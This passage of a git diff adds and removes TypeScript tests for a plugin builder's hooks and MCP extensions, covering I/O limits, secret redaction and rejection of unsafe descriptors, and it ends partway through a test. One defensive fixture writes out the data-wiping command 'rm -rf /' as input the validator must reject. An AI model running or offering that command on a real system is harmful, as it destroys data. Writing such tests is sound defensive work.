hook_event_name: 'SessionStart', source: 'startup' }), - { CLAUDE_PLUGIN_ROOT: '/plugin-root', CLAUDE_PLUGIN_DATA: '/plugin-data' }, - ); - expect(execution).toEqual({ code: 0, stdout: '', stderr: '' }); - }); - - it('normalizes input, maps results, bounds I/O, and never exposes handler failures', async () => { - /** 复用完整事件 fixture 取得真实构建后的 Handler。 */ - const root = await createProject({ hooks: canonicalHooks(), dependency: true }); - /** 生成两个默认 Platform Handler 的构建结果。 */ - const build = await runProject({ cwd: root, command: 'build', mode: 'production' }); - expect(build.success).toBe(true); - /** 用于验证 camelCase 和 PreToolUse deny 映射的 Handler。 */ - const preToolHandler = path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/handler.mjs'); - /** 平台发送给 Handler 的规范 snake_case 输入。 */ - const preToolInput = JSON.stringify({ - session_id: 'session-1', - transcript_path: null, - cwd: root, - hook_event_name: 'PreToolUse', - tool_name: 'Bash', - tool_input: { nested_value: 'normalized' }, - tool_use_id: 'tool-1', - }); - /** Claude Code 参数下的真实 Runner 输出。 */ - const claude = await runHandler(preToolHandler, 'claude-code', preToolInput, { - CLAUDE_PLUGIN_ROOT: '/plugin-root', - CLAUDE_PLUGIN_DATA: '/plugin-data', - }); - expect(claude.code).toBe(0); - expect(JSON.parse(claude.stdout)).toEqual({ - hookSpecificOutput: { - hookEventName: 'PreToolUse', - permissionDecision: 'deny', - permissionDecisionReason: 'claude-code:Bash:normalized', - }, - }); - expect(claude.stderr).toBe(''); - - /** 两个 wire profile 必须各自解析平台原生的 Plugin 根和数据目录。 */ - const contextInput = JSON.stringify({ - session_id: 'session-1', - cwd: root, - hook_event_name: 'PreToolUse', - tool_name: 'Bash', - tool_input: { nested_value: 'context' }, - tool_use_id: 'tool-2', - }); - /** Claude Code wire 的运行时上下文结果。 */ - const claudeContext = await runHandler(preToolHandler, 'claude-code', contextInput, { - CLAUDE_PLUGIN_ROOT: '/claude-root', - CLAUDE_PLUGIN_DATA: '/claude-data', - }); - /** Codex wire 的运行时上下文结果。 */ - const codexContext = await runHandler( - path.join(root, 'dist/codex/plugin/hooks/pre-tool-use/handler.mjs'), - 'codex', - contextInput, - { PLUGIN_ROOT: '/codex-root', PLUGIN_DATA: '/codex-data' }, - ); - expect(JSON.parse(claudeContext.stdout).hookSpecificOutput.permissionDecisionReason) - .toBe('claude-code:/claude-root:/claude-data'); - expect(JSON.parse(codexContext.stdout).hookSpecificOutput.permissionDecisionReason) - .toBe('codex:/codex-root:/codex-data'); - - /** SessionEnd Handler 用于触发三种安全失败边界。 */ - const sessionEndHandler = path.join(root, 'dist/claude-code/plugin/hooks/session-end/handler.mjs'); - /** Codex 目录中与 Codex wire profile 相邻的 SessionEnd Handler。 */ - const codexSessionEndHandler = path.join(root, 'dist/codex/plugin/hooks/session-end/handler.mjs'); - /** 生成 SessionEnd 输入的局部辅助函数。 */ - const sessionEndInput = (reason: string): string => JSON.stringify({ - session_id: 'session-1', - transcript_path: null, - cwd: root, - hook_event_name: 'SessionEnd', - reason, - }); - /** 超出一 MiB 的规范结果必须被 Runner 阻止。 */ - const oversized = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput('oversized')); - expect(oversized).toEqual({ - code: 1, - stdout: '', - stderr: 'acplugin hook error: OUTPUT_TOO_LARGE\n', - }); - /** 用户实现直接写 stdout 时不得绕过规范结果协议或泄露内容。 */ - const logged = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput('log:TOP_SECRET')); - expect(logged).toEqual({ - code: 1, - stdout: '', - stderr: 'acplugin hook error: HANDLER_OUTPUT_FORBIDDEN\n', - }); - expect(logged.stderr).not.toContain('TOP_SECRET'); - /** 用户异常消息只能收敛为稳定安全代码。 */ - const thrown = await runHandler(codexSessionEndHandler, 'codex', sessionEndInput('throw:TOP_SECRET')); - expect(thrown).toEqual({ - code: 1, - stdout: '', - stderr: 'acplugin hook error: HANDLER_FAILED\n', - }); - /** 超过输入上限时在 JSON 解析前返回固定错误。 */ - const tooLarge = await runHandler(codexSessionEndHandler, 'codex', `{"value":"${'x'.repeat(1024 * 1024)}"}`); - expect(tooLarge).toEqual({ - code: 1, - stdout: '', - stderr: 'acplugin hook error: INPUT_TOO_LARGE\n', - }); - /** Codex 目录中与 Codex wire profile 相邻的 PreToolUse Handler。 */ - const codexPreToolHandler = path.join(root, 'dist/codex/plugin/hooks/pre-tool-use/handler.mjs'); - /** 同一对象中的 snake_case/camelCase 字段碰撞不得静默覆盖。 */ - const collision = await runHandler(codexPreToolHandler, 'codex', JSON.stringify({ - session_id: 'session-1', - cwd: root, - hook_event_name: 'PreToolUse', - tool_name: 'Bash', - tool_input: { nested_value: 'first', nestedValue: 'second' }, - tool_use_id: 'tool-1', - })); - expect(collision).toEqual({ - code: 1, - stdout: '', - stderr: 'acplugin hook error: INPUT_KEY_COLLISION\n', - }); - /** 构造超过递归规范化上限、但仍远小于字节上限的输入字段。 */ - let nestedInput: unknown = 'leaf'; - /** depth 表示当前追加的对象嵌套层数。 */ - for (let depth = 0; depth < 130; depth += 1) - nestedInput = { value: nestedInput }; - /** 过深输入必须使用稳定错误码终止,不能触发运行时栈错误。 */ - const tooDeep = await runHandler(codexPreToolHandler, 'codex', JSON.stringify({ - session_id: 'session-1', - cwd: root, - hook_event_name: 'PreToolUse', - tool_name: 'Bash', - tool_input: nestedInput, - tool_use_id: 'tool-1', - })); - expect(tooDeep).toEqual({ - code: 1, - stdout: '', - stderr: 'acplugin hook error: INPUT_TOO_DEEP\n', - }); - - /** updatedInput 的嵌套 BigInt 不是 JSON 值,必须在 wire 序列化前拒绝。 */ - const invalidUpdatedInput = await runHandler(codexPreToolHandler, 'codex', JSON.stringify({ - session_id: 'session-1', - cwd: root, - hook_event_name: 'PreToolUse', - tool_name: 'Bash', - tool_input: { nested_value: 'invalid-json' }, - tool_use_id: 'tool-1', - })); - expect(invalidUpdatedInput).toEqual({ - code: 1, - stdout: '', - stderr: 'acplugin hook error: RESULT_UPDATED_INPUT_INVALID\n', - }); - - /** 未等待任务中的输出仍在进程退出前被拦截,且不会泄露原文。 */ - const delayedLog = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput('delayed-log')); - expect(delayedLog).toEqual({ - code: 1, - stdout: '', - stderr: 'acplugin hook error: HANDLER_OUTPUT_FORBIDDEN\n', - }); - expect(delayedLog.stderr).not.toContain('DELAYED_SECRET'); - /** 未等待 timer 抛错和拒绝统一收敛为异步失败码。 */ - for (const reason of ['delayed-throw', 'delayed-rejection']) { - /** 当前异步失败形式的隔离执行结果。 */ - const delayedFailure = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput(reason)); - expect(delayedFailure).toEqual({ - code: 1, - stdout: '', - stderr: 'acplugin hook error: HANDLER_ASYNC_FAILED\n', - }); - expect(delayedFailure.stderr).not.toContain('DELAYED_SECRET'); - } - /** 多个未等待异常以及 beforeExit 启动的同步或 I/O 异常都必须保持在安全监听边界内。 */ - for (const reason of ['multiple-async-failures', 'late-before-exit', 'late-before-exit-io']) { - /** 当前复杂异步失败形式的隔离执行结果。 */ - const complexFailure = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput(reason)); - expect(complexFailure).toEqual({ - code: 1, - stdout: '', - stderr: 'acplugin hook error: HANDLER_ASYNC_FAILED\n', - }); - expect(complexFailure.stderr).not.toMatch(/FIRST_SECRET|SECOND_SECRET|BEFORE_EXIT_(?:IO_)?SECRET/u); - } - - /** 两个压缩事件都必须通过各自 Platform 的完整 Handler/wire 组合。 */ - for (const [event, id] of [['PreCompact', 'pre-compact'], ['PostCompact', 'post-compact']] as const) { - /** 当前压缩事件的原生输入。 */ - const compactInput = JSON.stringify({ - session_id: 'session-1', - transcript_path: null, - cwd: root, - hook_event_name: event, - trigger: 'manual', - }); - /** Claude Code 目录中的完整运行结果。 */ - const claudeCompact = await runHandler( - path.join(root, `dist/claude-code/plugin/hooks/${id}/handler.mjs`), - 'claude-code', - compactInput, - ); - /** Codex 目录中的完整运行结果。 */ - const codexCompact = await runHandler( - path.join(root, `dist/codex/plugin/hooks/${id}/handler.mjs`), - 'codex', - compactInput, - ); - expect(JSON.parse(claudeCompact.stdout)).toEqual(event === 'PreCompact' - ? { decision: 'block', reason: 'Compact later.' } - : { continue: false, stopReason: 'Compact later.' }); - expect(JSON.parse(codexCompact.stdout)).toEqual({ continue: false, stopReason: 'Compact later.' }); - } - }); - - it('rejects raw platform handler declarations and invalid contributor fields before bundling', async () => { - /** 同时尝试六类禁止入口和一个未知平台字段的恶意作者工程。 */ - const root = await createProject({ - hooks: [{ - id: 'unsafe', - definition: `{ - event: 'PreToolUse', - type: 'http', - command: 'rm -rf /', - executable: '/usr/bin/node', - url: 'https://example.com/hook', - prompt: 'approve', - agent: 'reviewer', - server: 'mcp-server', - tool: 'check', - platforms: { codex: { command: 'node unsafe.js' } }, - run() {}, - }`, - }], - }); - /** validate 在 Extension build 前收集的结构化失败结果。 */ - const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); - - expect(result.success).toBe(false); - expect(result.packages.length).toBeGreaterThan(0); - expect(result.diagnostics.filter(diagnostic => diagnostic.code === 'HOOK_FIELD_UNKNOWN')).toHaveLength(8); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'HOOK_PLATFORM_FIELD_UNKNOWN', - })); - }); - - it('routes platform-only events exclusively to their declared configured Contributor', async () => { - /** Claude Code Setup 平台事件仍同时配置默认双 Platform 的工程。 */ - const root = await createProject({ - hooks: [{ - id: 'setup', - definition: `{ event: { platform: 'claude-code', name: 'Setup' }, matcher: 'init', run() {} }`, - }], - }); - /** 平台事件成功构建后的兼容性和 Asset 结果。 */ - const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); - - expect(result.success).toBe(true); - expect(result.compatibility).toContainEqual(expect.objectContaining({ - platform: 'claude-code', - subject: 'hook:setup', - capability: 'event.setup', - level: 'native', - })); - expect(result.compatibility).toContainEqual(expect.objectContaining({ - platform: 'codex', - subject: 'hook:setup', - level: 'unsupported', - })); - await expect(fs.access(path.join(root, 'dist/codex/plugin/hooks/hooks.json'))).rejects.toThrow(); - /** Codex Manifest 不应因其他平台事件获得空 hooks 字段。 */ - const codexManifest = JSON.parse(await fs.readFile( - path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json'), - 'utf8', - )) as Record; - expect(codexManifest).not.toHaveProperty('hooks'); - }); - - it('keeps an empty Extension asset-free and uses the Cursor Contributor when selected', async () => { - /** 没有 `src/hooks` 的空 Extension 工程。 */ - const emptyRoot = await createProject(); - /** 空 Extension 的成功构建结果。 */ - const empty = await runProject({ cwd: emptyRoot, command: 'build', mode: 'production' }); - expect(empty.success).toBe(true); - expect(empty.packages - .flatMap(unit => unit.assets) - .some(asset => asset.path.startsWith('hooks/'))).toBe(false); - - /** 只配置 Cursor、且拥有实际 Hook 资源的工程。 */ - const cursorRoot = await createProject({ - hooks: [{ id: 'stop', definition: `{ event: 'Stop', run() {} }` }], - configImports: `import cursor from '@tokenroll/acplugin-platform-cursor';`, - configFields: 'platforms: [cursor({ strict: false })], build: { strict: false },', - }); - /** relaxed 模式使用 Cursor 事件映射并保留 transform 结论。 */ - const cursorResult = await runProject({ cwd: cursorRoot, command: 'validate', mode: 'production' }); - expect(cursorResult.success).toBe(true); - expect(cursorResult.compatibility).toContainEqual(expect.objectContaining({ - platform: 'cursor', - subject: 'hook:stop', - level: 'transform', - })); - }); - - it('applies strictness only when an actual Codex matcher loses semantics', async () => { - /** Stop 使用有语义 matcher 的严格构建工程。 */ - const root = await createProject({ - hooks: [{ id: 'stop', definition: `{ event: 'Stop', matcher: 'quality-gate', run() {} }` }], - configFields: 'platforms: [claudeCode(), codex()], build: { strict: true },', - }); - /** strict 模式因当前 Hook 的 Codex matcher 损失而失败。 */ - const strict = await runProject({ cwd: root, command: 'validate', mode: 'production' }); - expect(strict.success).toBe(false); - expect(strict.diagnostics).toContainEqual(expect.objectContaining({ - code: 'COMPATIBILITY_STRICT_FAILURE', - platform: 'codex', - })); - }); - - it('reports Claude Code events that silently ignore meaningful matchers', async () => { - /** 只配置 Claude Code,避免其他 Platform 的兼容性结论干扰断言。 */ - const root = await createProject({ - hooks: [{ id: 'stop', definition: `{ event: 'Stop', matcher: 'quality-gate', run() {} }` }], - configImports: `import claudeCode from '@tokenroll/acplugin-platform-claude-code';`, - configFields: 'platforms: [claudeCode()], build: { strict: true },', - }); - /** meaningful matcher 被宿主静默忽略,因此严格模式必须失败。 */ - const strict = await runProject({ cwd: root, command: 'validate', mode: 'production' }); - expect(strict.success).toBe(false); - expect(strict.diagnostics).toContainEqual(expect.objectContaining({ - code: 'COMPATIBILITY_STRICT_FAILURE', - platform: 'claude-code', - })); - }, 15_000); - - it('rejects unconfigured and unknown platform-only events with targeted diagnostics', async () => { - /** 只配置 Codex 却声明 Claude Code Setup 的工程。 */ - const unconfiguredRoot = await createProject({ - hooks: [{ - id: 'setup', - definition: `{ event: { platform: 'claude-code', name: 'Setup' }, run() {} }`, - }], - configImports: `import codex from '@tokenroll/acplugin-platform-codex';`, - configFields: 'platforms: [codex({ strict: false })], build: { strict: false },', - }); - /** Platform 缺失应在 Bundle 前失败。 */ - const unconfigured = await runProject({ cwd: unconfiguredRoot, command: 'validate', mode: 'production' }); - expect(unconfigured.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_PLATFORM_NOT_CONFIGURED' })); - - /** 默认包含 Claude Code、但事件名不属于其官方 Schema 的工程。 */ - const unknownRoot = await createProject({ - hooks: [{ - id: 'unknown-event', - definition: `{ event: { platform: 'claude-code', name: 'ImaginaryEvent' }, run() {} }`, - }], - }); - /** Contributor 未知事件应给出独立诊断码。 */ - const unknown = await runProject({ cwd: unknownRoot, command: 'validate', mode: 'production' }); - expect(unknown.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_PLATFORM_EVENT_UNSUPPORTED' })); - }, 15_000); -}); diff --git a/packages/extensions/hooks/test/protocol.test.ts b/packages/extensions/hooks/test/protocol.test.ts new file mode 100644 index 0000000..df0ef29 --- /dev/null +++ b/packages/extensions/hooks/test/protocol.test.ts @@ -0,0 +1,216 @@ +import path from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { canonicalHooks, createProject, runHandler, runProject } from './fixture.js'; + +describe('Hooks Extension protocol', () => { + it('normalizes input, maps results, bounds I/O, and never exposes handler failures', async () => { + /** 复用完整事件 fixture 取得真实构建后的 Handler。 */ + const root = await createProject({ hooks: canonicalHooks(), dependency: true }); + /** 生成两个默认 Platform Handler 的构建结果。 */ + const build = await runProject({ cwd: root, command: 'build', mode: 'production' }); + expect(build.success).toBe(true); + /** 用于验证 camelCase 和 PreToolUse deny 映射的 Handler。 */ + const preToolHandler = path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/handler.mjs'); + /** 平台发送给 Handler 的规范 snake_case 输入。 */ + const preToolInput = JSON.stringify({ + session_id: 'session-1', + transcript_path: null, + cwd: root, + hook_event_name: 'PreToolUse', + tool_name: 'Bash', + tool_input: { nested_value: 'normalized' }, + tool_use_id: 'tool-1', + }); + /** Claude Code 参数下的真实 Runner 输出。 */ + const claude = await runHandler(preToolHandler, 'claude-code', preToolInput, { + CLAUDE_PLUGIN_ROOT: '/plugin-root', + CLAUDE_PLUGIN_DATA: '/plugin-data', + }); + expect(claude.code).toBe(0); + expect(JSON.parse(claude.stdout)).toEqual({ + hookSpecificOutput: { + hookEventName: 'PreToolUse', + permissionDecision: 'deny', + permissionDecisionReason: 'claude-code:Bash:normalized', + }, + }); + expect(claude.stderr).toBe(''); + + /** 两个 wire profile 必须各自解析平台原生的 Plugin 根和数据目录。 */ + const contextInput = JSON.stringify({ + session_id: 'session-1', + cwd: root, + hook_event_name: 'PreToolUse', + tool_name: 'Bash', + tool_input: { nested_value: 'context' }, + tool_use_id: 'tool-2', + }); + /** Claude Code wire 的运行时上下文结果。 */ + const claudeContext = await runHandler(preToolHandler, 'claude-code', contextInput, { + CLAUDE_PLUGIN_ROOT: '/claude-root', + CLAUDE_PLUGIN_DATA: '/claude-data', + }); + /** Codex wire 的运行时上下文结果。 */ + const codexContext = await runHandler( + path.join(root, 'dist/codex/plugin/hooks/pre-tool-use/handler.mjs'), + 'codex', + contextInput, + { PLUGIN_ROOT: '/codex-root', PLUGIN_DATA: '/codex-data' }, + ); + expect(JSON.parse(claudeContext.stdout).hookSpecificOutput.permissionDecisionReason) + .toBe('claude-code:/claude-root:/claude-data'); + expect(JSON.parse(codexContext.stdout).hookSpecificOutput.permissionDecisionReason) + .toBe('codex:/codex-root:/codex-data'); + + /** SessionEnd Handler 用于触发三种安全失败边界。 */ + const sessionEndHandler = path.join(root, 'dist/claude-code/plugin/hooks/session-end/handler.mjs'); + /** Codex 目录中与 Codex wire profile 相邻的 SessionEnd Handler。 */ + const codexSessionEndHandler = path.join(root, 'dist/codex/plugin/hooks/session-end/handler.mjs'); + /** 生成 SessionEnd 输入的局部辅助函数。 */ + const sessionEndInput = (reason: string): string => JSON.stringify({ + session_id: 'session-1', + transcript_path: null, + cwd: root, + hook_event_name: 'SessionEnd', + reason, + }); + /** 超出一 MiB 的规范结果必须被 Runner 阻止。 */ + const oversized = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput('oversized')); + expect(oversized).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: OUTPUT_TOO_LARGE\n', + }); + /** 用户实现直接写 stdout 时不得绕过规范结果协议或泄露内容。 */ + const logged = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput('log:TOP_SECRET')); + expect(logged).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: HANDLER_OUTPUT_FORBIDDEN\n', + }); + expect(logged.stderr).not.toContain('TOP_SECRET'); + /** 用户异常消息只能收敛为稳定安全代码。 */ + const thrown = await runHandler(codexSessionEndHandler, 'codex', sessionEndInput('throw:TOP_SECRET')); + expect(thrown).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: HANDLER_FAILED\n', + }); + /** 超过输入上限时在 JSON 解析前返回固定错误。 */ + const tooLarge = await runHandler(codexSessionEndHandler, 'codex', `{"value":"${'x'.repeat(1024 * 1024)}"}`); + expect(tooLarge).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: INPUT_TOO_LARGE\n', + }); + /** Codex 目录中与 Codex wire profile 相邻的 PreToolUse Handler。 */ + const codexPreToolHandler = path.join(root, 'dist/codex/plugin/hooks/pre-tool-use/handler.mjs'); + /** 同一对象中的 snake_case/camelCase 字段碰撞不得静默覆盖。 */ + const collision = await runHandler(codexPreToolHandler, 'codex', JSON.stringify({ + session_id: 'session-1', + cwd: root, + hook_event_name: 'PreToolUse', + tool_name: 'Bash', + tool_input: { nested_value: 'first', nestedValue: 'second' }, + tool_use_id: 'tool-1', + })); + expect(collision).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: INPUT_KEY_COLLISION\n', + }); + /** 构造超过递归规范化上限、但仍远小于字节上限的输入字段。 */ + let nestedInput: unknown = 'leaf'; + /** depth 表示当前追加的对象嵌套层数。 */ + for (let depth = 0; depth < 130; depth += 1) + nestedInput = { value: nestedInput }; + /** 过深输入必须使用稳定错误码终止,不能触发运行时栈错误。 */ + const tooDeep = await runHandler(codexPreToolHandler, 'codex', JSON.stringify({ + session_id: 'session-1', + cwd: root, + hook_event_name: 'PreToolUse', + tool_name: 'Bash', + tool_input: nestedInput, + tool_use_id: 'tool-1', + })); + expect(tooDeep).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: INPUT_TOO_DEEP\n', + }); + + /** updatedInput 的嵌套 BigInt 不是 JSON 值,必须在 wire 序列化前拒绝。 */ + const invalidUpdatedInput = await runHandler(codexPreToolHandler, 'codex', JSON.stringify({ + session_id: 'session-1', + cwd: root, + hook_event_name: 'PreToolUse', + tool_name: 'Bash', + tool_input: { nested_value: 'invalid-json' }, + tool_use_id: 'tool-1', + })); + expect(invalidUpdatedInput).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: RESULT_UPDATED_INPUT_INVALID\n', + }); + + /** 未等待任务中的输出仍在进程退出前被拦截,且不会泄露原文。 */ + const delayedLog = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput('delayed-log')); + expect(delayedLog).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: HANDLER_OUTPUT_FORBIDDEN\n', + }); + expect(delayedLog.stderr).not.toContain('DELAYED_SECRET'); + /** 未等待 timer 抛错和拒绝统一收敛为异步失败码。 */ + for (const reason of ['delayed-throw', 'delayed-rejection']) { + /** 当前异步失败形式的隔离执行结果。 */ + const delayedFailure = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput(reason)); + expect(delayedFailure).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: HANDLER_ASYNC_FAILED\n', + }); + expect(delayedFailure.stderr).not.toContain('DELAYED_SECRET'); + } + /** 多个未等待异常以及 beforeExit 启动的同步或 I/O 异常都必须保持在安全监听边界内。 */ + for (const reason of ['multiple-async-failures', 'late-before-exit', 'late-before-exit-io']) { + /** 当前复杂异步失败形式的隔离执行结果。 */ + const complexFailure = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput(reason)); + expect(complexFailure).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: HANDLER_ASYNC_FAILED\n', + }); + expect(complexFailure.stderr).not.toMatch(/FIRST_SECRET|SECOND_SECRET|BEFORE_EXIT_(?:IO_)?SECRET/u); + } + + /** 两个压缩事件都必须通过各自 Platform 的完整 Handler/wire 组合。 */ + for (const [event, id] of [['PreCompact', 'pre-compact'], ['PostCompact', 'post-compact']] as const) { + /** 当前压缩事件的原生输入。 */ + const compactInput = JSON.stringify({ + session_id: 'session-1', + transcript_path: null, + cwd: root, + hook_event_name: event, + trigger: 'manual', + }); + /** Claude Code 目录中的完整运行结果。 */ + const claudeCompact = await runHandler( + path.join(root, `dist/claude-code/plugin/hooks/${id}/handler.mjs`), + 'claude-code', + compactInput, + ); + /** Codex 目录中的完整运行结果。 */ + const codexCompact = await runHandler( + path.join(root, `dist/codex/plugin/hooks/${id}/handler.mjs`), + 'codex', + compactInput, + ); + expect(JSON.parse(claudeCompact.stdout)).toEqual(event === 'PreCompact' + ? { decision: 'block', reason: 'Compact later.' } + : { continue: false, stopReason: 'Compact later.' }); + expect(JSON.parse(codexCompact.stdout)).toEqual({ continue: false, stopReason: 'Compact later.' }); + } + }); +}); diff --git a/packages/extensions/mcp/src/discovery.ts b/packages/extensions/mcp/src/discovery.ts index 50c4a62..f9751b2 100644 --- a/packages/extensions/mcp/src/discovery.ts +++ b/packages/extensions/mcp/src/discovery.ts @@ -1,9 +1,9 @@ -import type { - ExtensionDiscoverContext, - ExtensionValidateContext, - JsonValue, - SourceDirectoryRef, - SourceFileRef, +import { + snapshotJson, + type ExtensionDiscoverContext, + type ExtensionValidateContext, + type SourceDirectoryRef, + type SourceFileRef, } from '@tokenroll/acplugin/sdk'; import { MCP_ID_PATTERN, ENV_NAME_PATTERN } from './constants.js'; import { compareCodeUnits } from './sorting.js'; @@ -53,57 +53,10 @@ function isPlainObject(value: unknown): value is Record { && (Object.getPrototypeOf(value) === Object.prototype || Object.getPrototypeOf(value) === null); } -/** 把 descriptor 复制成无函数、无 accessor 的 JSON 数据。 */ -function jsonSnapshot(value: unknown, path: string, ancestors = new Set()): JsonValue { - if (value === null || typeof value === 'string' || typeof value === 'boolean') return value; - if (typeof value === 'number') { - if (!Number.isFinite(value)) - throw new TypeError(`${path} must be finite.`); - return value; - } - if (typeof value !== 'object' || ancestors.has(value)) throw new TypeError(`${path} must be JSON data.`); - ancestors.add(value); - try { - /** 所有自有字段先读取 descriptor,绝不触发 getter。 */ - const descriptors = Object.getOwnPropertyDescriptors(value); - if (Array.isArray(value)) { - if (Object.getOwnPropertySymbols(value).length > 0) - throw new TypeError(`${path} must not contain symbol fields.`); - /** 稀疏数组不能形成稳定的 JSON snapshot。 */ - for (let i = 0; i < value.length; i += 1) if (!Object.hasOwn(value, i)) throw new TypeError(`${path} must not be sparse.`); - /** 数组只允许 index 与 length,不允许隐藏扩展字段。 */ - if (Object.keys(descriptors).some(key => key !== 'length' - && (!/^(?:0|[1-9][0-9]*)$/u.test(key) || Number(key) >= value.length))) throw new TypeError(`${path} has unknown fields.`); - /** 逐索引读取 data descriptor,绝不通过 Array.prototype.map 触发 getter。 */ - const result: JsonValue[] = []; - for (let index = 0; index < value.length; index += 1) { - /** 稠密索引必须仍是显式 data property。 */ - const descriptor = descriptors[String(index)]!; - if (!('value' in descriptor)) - throw new TypeError(`${path}[${index}] must be data.`); - result.push(jsonSnapshot(descriptor.value, `${path}[${index}]`, ancestors)); - } - return Object.freeze(result); - } - /** descriptor 必须是无 Symbol 的普通对象。 */ - if (!isPlainObject(value) || Object.getOwnPropertySymbols(value).length > 0) throw new TypeError(`${path} must be plain.`); - /** snapshot 输出对象与作者对象完全隔离。 */ - const result: Record = Object.create(null) as Record; - for (const key of Object.keys(descriptors).sort()) { - /** 当前字段的 data descriptor。 */ - const descriptor = descriptors[key]!; - if (!('value' in descriptor)) throw new TypeError(`${path}.${key} must be data.`); - /** 递归复制字段值并保持稳定路径。 */ - result[key] = jsonSnapshot(descriptor.value, `${path}.${key}`, ancestors); - } - return Object.freeze(result); - } finally { ancestors.delete(value); } -} - /** Descriptor 快照只允许 MCP 规范的普通字段。 */ function normalizeDefinition(value: unknown): McpServer { /** 先建立无行为 JSON snapshot,再验证 MCP Schema。 */ - const snapshot = jsonSnapshot(value, 'MCP descriptor'); + const snapshot = snapshotJson(value, 'MCP descriptor'); if (!isPlainObject(snapshot) || typeof snapshot.transport !== 'string') throw new TypeError('MCP descriptor is invalid.'); if (Object.keys(snapshot).some(key => !FIELDS.has(key))) throw new TypeError('MCP descriptor contains unknown fields.'); return snapshot as unknown as McpServer; diff --git a/packages/extensions/mcp/test/authoring-discovery.test.ts b/packages/extensions/mcp/test/authoring-discovery.test.ts new file mode 100644 index 0000000..63af70b --- /dev/null +++ b/packages/extensions/mcp/test/authoring-discovery.test.ts @@ -0,0 +1,121 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { describe, expect, it } from 'vitest'; +import mcp, { EXTENSION_NAME } from '../src/index.js'; +import { compareCodeUnits } from '../src/sorting.js'; +import { createProject, runProject } from './fixture.js'; + +describe('MCP Extension authoring and discovery', () => { + it('exposes plain descriptor types, filters resources, and rejects invalid options', async () => { + /** 公开工厂创建的默认 MCP Extension。 */ + const extension = mcp(); + expect(EXTENSION_NAME).toBe('@tokenroll/acplugin-extension-mcp'); + expect(extension.id).toBe('mcp'); + expect(extension.resourceRoots).toEqual(['mcp']); + expect(Object.isFrozen(extension)).toBe(true); + expect(() => mcp({ include: ['docs', 'docs'] })).toThrow('duplicate ID'); + expect(() => mcp({ include: ['Not-Kebab'] })).toThrow('lowercase kebab-case'); + expect(() => mcp({ include: ['mcp-é'] })).toThrow('lowercase kebab-case'); + expect(() => mcp({ unknown: true } as never)).toThrow('Unknown MCP option'); + + /** include 只选择远程 Server 的真实工程。 */ + const root = await createProject({ mcpOptions: `{ include: ['docs'] }` }); + /** 筛选后的双 Platform 构建结果。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + expect(result.success).toBe(true); + await expect(fs.access(path.join(root, 'dist/codex/plugin/mcp/local-tools/server.mjs'))).rejects.toThrow(); + expect(JSON.parse(await fs.readFile(path.join(root, 'dist/codex/plugin/.mcp.json'), 'utf8'))) + .toHaveProperty('docs.url', 'https://mcp.example.com/mcp'); + }); + + it('uses locale-independent code-unit ordering for deterministic internal maps', () => { + /** 非 ASCII 样本证明排序不委托给宿主 locale 或 ICU。 */ + const values = ['é', 'z', 'ä', 'a']; + expect(values.sort(compareCodeUnits)).toEqual(['a', 'z', 'ä', 'é']); + }); + + it('rejects non-enumerable descriptor accessors without evaluating them', async () => { + /** 不可枚举 getter 不能绕过 plain descriptor 的无行为数据边界。 */ + const root = await createProject({ + local: false, + remote: `(() => { + const value = { transport: 'http', url: 'https://mcp.example.com/mcp' }; + Object.defineProperty(value, 'hidden', { get() { throw new Error('MUST_NOT_RUN'); } }); + return value; + })() as never`, + }); + /** discover 以稳定错误码拒绝,并且原始 getter 文本不进入诊断。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_DESCRIPTOR_LOAD_FAILED' })); + expect(JSON.stringify(result.diagnostics)).not.toContain('MUST_NOT_RUN'); + }); + + it('rejects non-enumerable unknown descriptor fields', async () => { + /** strict JSON snapshot 直接拒绝不可枚举 data property。 */ + const root = await createProject({ + local: false, + remote: `(() => { + const value = { transport: 'http', url: 'https://mcp.example.com/mcp' }; + Object.defineProperty(value, 'hidden', { value: true }); + return value; + })() as never`, + }); + /** 隐藏字段不能被静默丢弃,也不能进入跨阶段 State。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_DESCRIPTOR_LOAD_FAILED' })); + }); + + it('rejects array accessors, custom fields, Symbols and __proto__ fields without executing accessors', async () => { + /** nested array getter 写 stdout;若被执行会直接破坏子进程 JSON 协议并使测试失败。 */ + const accessorRoot = await createProject({ + local: false, + remote: `(() => { + const scopes = []; + Object.defineProperty(scopes, '0', { get() { process.stdout.write('GETTER_EXECUTED'); return 'docs:read'; } }); + Object.defineProperty(scopes, 'length', { value: 1 }); + const value = { transport: 'http', url: 'https://mcp.example.com/mcp', auth: { type: 'oauth', scopes } }; + 